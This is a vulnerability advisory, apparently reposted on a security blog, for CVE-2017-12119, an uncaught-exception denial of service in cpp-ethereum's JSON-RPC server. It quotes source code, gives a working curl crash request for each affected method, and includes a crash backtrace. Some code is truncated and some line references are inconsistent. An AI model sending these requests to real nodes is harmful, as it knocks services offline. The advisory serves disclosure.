Site icon API Security Blog

CPP-Ethereum JSON-RPC Denial Of Service Vulnerabilities(CVE-2017-12119)

### Summary
An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum’s JSON-RPC. Specially crafted JSON requests can cause a unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability.

### Tested Versions
Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768

### Product URLs
https://cpp-ethereum.org

### CVSSv3 Score
7.5 – CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### CWE
CWE-248: Uncaught Exception

### Details
CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform.

One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage client/node functionality. A lack of proper exception handling in the implementation of some APIs allows a remote attacker to send malformed JSON requests and crash the client/node. The following list of APIs are vulnerable:
“`
List of APIs available by default when JSON-RPC server is turned on:
– debug_storageRangeAt
– debug_traceBlockByNumber

List of APIs available when the “–admin-via-http” switch is used:
– miner_start
– admin_eth_vmTrace
– personal_newAccount
– admin_eth_getReceiptByHashAndIndex
– admin_setVerbosity
– admin_verbosity
“`

To handle JSON objects, the `JsonCpp` project (https://github.com/open-source-parsers/jsoncpp) is used and the definition of the `asInt` method looks as follows:
“`
json_value.cpp

Line 732 Value::Int Value::asInt() const {
Line 733 switch (type_) {
Line 734 case intValue:
Line 735 JSON_ASSERT_MESSAGE(isInt(), “LargestInt out of Int range”);
Line 736 return Int(value_.int_);
Line 737 case uintValue:
Line 738 JSON_ASSERT_MESSAGE(isInt(), “LargestUInt out of Int range”);
Line 739 return Int(value_.uint_);
Line 740 case realValue:
Line 741 JSON_ASSERT_MESSAGE(InRange(value_.real_, minInt, maxInt),
Line 742 “double out of Int range”);
Line 743 return Int(value_.real_);
Line 744 case nullValue:
Line 745 return 0;
Line 746 case booleanValue:
Line 747 return value_.bool_ ? 1 : 0;
Line 748 default:
Line 749 break;
Line 750 }
Line 751 JSON_FAIL_MESSAGE(“Value is not convertible to Int.”);
Line 752 }
“`

for both ints there is an assertion for which the condition is checked by the `isInt` method:
“`
Line 1314 bool Value::isInt() const {
Line 1315 switch (type_) {
Line 1316 case intValue:
Line 1317 #if defined(JSON_HAS_INT64)
Line 1318 return value_.int_ >= minInt && value_.int_ = minInt && value_.real_ bindAndAddMethod(jsonrpc::Procedure(“debug_traceBlockByNumber”, jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, “param1″,jsonrpc::JSON_INTEGER,”param2”,jsonrpc::JSON_OBJECT, NULL), &dev::rpc::DebugFace::debug_traceBlockByNumberI);
(…)
Line 23 }
(…)
Line 37 inline virtual void debug_traceBlockByNumberI(const Json::Value &request, Json::Value &response)
Line 38 {
Line 39 response = this->debug_traceBlockByNumber(request[0u].asInt(), request[1u]);
Line 40 }
“`

At `line 39` everything except the first parameter passed to `debug_traceBlockByNumber` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
“`
curl -X POST –data {“jsonrpc”:”2.0″,”method”:”debug_traceBlockByNumber”,”params”:[4294967295,{“a”:1}],”id”:1} localhost:8545
“`

`adminethgetReceiptByHashAndIndex`
“`
cpp-ethereumlibweb3jsonrpcAdminEthFace.h

Line 15 AdminEthFace()
Line 16 {
(…)
Line 30 this->bindAndAddMethod(jsonrpc::Procedure(“admin_eth_getReceiptByHashAndIndex”, jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, “param1″,jsonrpc::JSON_STRING,”param2″,jsonrpc::JSON_INTEGER,”param3”,jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_getReceiptByHashAndIndexI);
(…)
Line 37 }
(…)
Line 91 inline virtual void admin_eth_getReceiptByHashAndIndexI(const Json::Value &request, Json::Value &response)
Line 92 {
Line 93 response = this->admin_eth_getReceiptByHashAndIndex(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 94 }
“`

At `line 93` the second parameter passed to `admin_eth_getReceiptByHashAndIndex` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
“`
curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”admin_eth_getReceiptByHashAndIndex”,”params”:[“1″,112233445566778899,”3″],”id”:1}’ 192.168.217.155:8545
“`

`adminethvmTrace`
“`
cpp-ethereumlibweb3jsonrpcAdminEthFace.h

Line 15 AdminEthFace()
Line 16 {
(…)
Line 29 this->bindAndAddMethod(jsonrpc::Procedure(“admin_eth_vmTrace”, jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, “param1″,jsonrpc::JSON_STRING,”param2″,jsonrpc::JSON_INTEGER,”param3”,jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_vmTraceI);
(…)
Line 37 }
(…)
Line 87 inline virtual void admin_eth_vmTraceI(const Json::Value &request, Json::Value &response)
Line 88 {
Line 89 response = this->admin_eth_vmTrace(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 90 }
“`

At `line 89` the second parameter passed to `admin_eth_vmTrace` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
“`
curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”admin_eth_vmTrace”,”params”:[“1″,112233445566778899,”3″],”id”:1}’ 192.168.217.155:8545
“`

`admin_setVerbosity`
“`
cpp-ethereumlibweb3jsonrpcAdminUtilsFace.h

Line 15 AdminUtilsFace()
Line 16 {
Line 17 this->bindAndAddMethod(jsonrpc::Procedure(“admin_setVerbosity”, jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, “param1″,jsonrpc::JSON_INTEGER,”param2”,jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminUtilsFace::admin_setVerbosityI);
(…)
Line 20 }
(…)
Line 22 inline virtual void admin_setVerbosityI(const Json::Value &request, Json::Value &response)
Line 23 {
Line 24 response = this->admin_setVerbosity(request[0u].asInt(), request[1u].asString());
Line 25 }
“`

At `line 89` the second parameter passed to `admin_setVerbosity` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
“`
curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”admin_setVerbosity”,”params”:[112233445566778899,”2″],”id”:1}’ 192.168.217.155:8545
“`

`admin_verbosity`
“`
cpp-ethereumlibweb3jsonrpcAdminUtilsFace.h

Line 15 AdminUtilsFace()
Line 16 {
Line 18 this->bindAndAddMethod(jsonrpc::Procedure(“admin_verbosity”, jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, “param1”,jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminUtilsFace::admin_verbosityI);
(…)
Line 20 }
(…)
Line 26 inline virtual void admin_verbosityI(const Json::Value &request, Json::Value &response)
Line 27 {
Line 28 response = this->admin_verbosity(request[0u].asInt());
Line 29 }
“`

At `line 89` the parameter passed to `admin_verbosity` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
“`
curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”admin_verbosity”,”params”:[112233445566778899],”id”:1}’ 192.168.217.155:8545
“`

`debug_storageRangeAt`
“`
cpp-ethereumlibweb3jsonrpcDebugFace.h

Line 15 DebugFace()
Line 16 {
(…)
Line 18 this->bindAndAddMethod(jsonrpc::Procedure(“debug_storageRangeAt”, jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, “param1″,jsonrpc::JSON_STRING,”param2″,jsonrpc::JSON_INTEGER,”param3″,jsonrpc::JSON_STRING,”param4″,jsonrpc::JSON_STRING,”param5”,jsonrpc::JSON_INTEGER, NULL), &dev::rpc::DebugFace::debug_storageRangeAtI);
(…)
Line 23 }
(…)
Line 29 inline virtual void debug_storageRangeAtI(const Json::Value &request, Json::Value &response)
Line 30 {
Line 31 response = this->debug_storageRangeAt(request[0u].asString(), request[1u].asInt(), request[2u].asString(), request[3u].asString(), request[4u].asInt());
Line 32 }
“`

At `line 31` the second and fifth parameter passed to `debug_storageRangeAt` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
“`
curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”debug_storageRangeAt”,”params”:[“1″,112233445566778899,”3″,”4″,5],”id”:1}’ 192.168.217.155:8545
“`

`miner_start`
“`
cpp-ethereumlibweb3jsonrpcAdminEthFace.h

Line 15 AdminEthFace()
Line 16 {
(…)
Line 31 this->bindAndAddMethod(jsonrpc::Procedure(“miner_start”, jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, “param1”,jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminEthFace::miner_startI);
(…)
Line 37 }
(…)
Line 95 inline virtual void miner_startI(const Json::Value &request, Json::Value &response)
Line 96 {
Line 97 response = this->miner_start(request[0u].asInt());
Line 98 }
“`

At `line 96` the parameter passed to `miner_start` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
“`
curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”miner_start”,”params”:[112233445566778899],”id”:1}’ 192.168.217.155:8545
“`

`personal_unlockAccount`
“`
cpp-ethereumlibweb3jsonrpcPersonalFace.h

Line 15 PersonalFace()
Line 16 {
(…)
Line 18 this->bindAndAddMethod(jsonrpc::Procedure(“personal_unlockAccount”, jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, “param1″,jsonrpc::JSON_STRING,”param2″,jsonrpc::JSON_STRING,”param3”,jsonrpc::JSON_INTEGER, NULL), &dev::rpc::PersonalFace::personal_unlockAccountI);
(…)
Line 37 }
(…)
Line 28 inline virtual void personal_unlockAccountI(const Json::Value &request, Json::Value &response)
Line 29 {
Line 30 response = this->personal_unlockAccount(request[0u].asString(), request[1u].asString(), request[2u].asInt());
Line 31 }
“`

At `line 30` the third parameter passed to `personal_unlockAccount` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability:
“`
curl -X POST –data ‘{“jsonrpc”:”2.0″,”method”:”personal_unlockAccount”,”params”:[“1″,”2″,112233445566778899],”id”:1}’ 192.168.217.155:8545
“`

### Crash Information
“`
curl -X POST –data {“jsonrpc”:”2.0″,”method”:”debug_traceBlockByNumber”,”params”:[4294967295,{“a”:1}],”id”:1} localhost:8545

icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j –ipc –private 123 –no-discovery –datadir `pwd`/data –config config.json –admin-via-http
cpp-ethereum, a C++ Ethereum client
cpp-ethereum 1.3.0
By cpp-ethereum contributors, (c) 2013-2016.
See the README for contributors and credits.
Networking disabled. To start, use netstart or pass –bootstrap or a remote host.
JSONRPC Admin Session Key: ZUNHn2AgrMM=
terminate called after throwing an instance of ‘Json::LogicError’
what(): LargestUInt out of Int range
Aborted (core dumped)

gdb-peda$ bt
#0 0x00007fa13b121428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1 0x00007fa13b12302a in __GI_abort () at abort.c:89
#2 0x00007fa13ba6484d in __gnu_cxx::__verbose_terminate_handler() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3 0x00007fa13ba626b6 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4 0x00007fa13ba62701 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5 0x00007fa13ba62919 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6 0x00000000008825aa in Json::throwLogicError(std::__cxx11::basic_string, std::allocator > const&) ()
#7 0x000000000088783f in Json::Value::asInt() const ()
#8 0x00000000005f553e in dev::rpc::DebugFace::debug_traceBlockByNumberI (this=0x10bc4c0, request=…, response=…) at /home/icewall/bugs/cpp-ethereum/libweb3jsonrpc/DebugFace.h:39
#9 0x000000000086ba05 in jsonrpc::AbstractProtocolHandler::ProcessRequest(Json::Value const&, Json::Value&) ()
#10 0x0000000000868afc in jsonrpc::RpcProtocolServerV2::HandleSingleRequest(Json::Value const&, Json::Value&) ()
#11 0x0000000000868e0e in jsonrpc::RpcProtocolServerV2::HandleJsonRequest(Json::Value const&, Json::Value&) ()
#12 0x000000000086aca1 in jsonrpc::AbstractProtocolHandler::HandleRequest(std::__cxx11::basic_string, std::allocator > const&, std::__cxx11::basic_string, std::allocator >&) ()
#13 0x0000000000869c4a in jsonrpc::HttpServer::callback(void*, MHD_Connection*, char const*, char const*, char const*, char const*, unsigned long*, void**) ()
#14 0x00007fa13bd5c344 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#15 0x00007fa13bd5d3fc in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#16 0x00007fa13bd62da9 in MHD_run_from_select () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#17 0x00007fa13bd630b6 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#18 0x00007fa13bd63222 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#19 0x00007fa13bf766ba in start_thread (arg=0x7fa134d0f700) at pthread_create.c:333
#20 0x00007fa13b1f33dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
Detaching from program: /home/icewall/bugs/cpp-ethereum/build/eth/eth, process 9058
“`

### Timeline
* 2017-11-03 – Vendor Disclosure
* 2018-01-09 – Public ReleaseRead More

Exit mobile version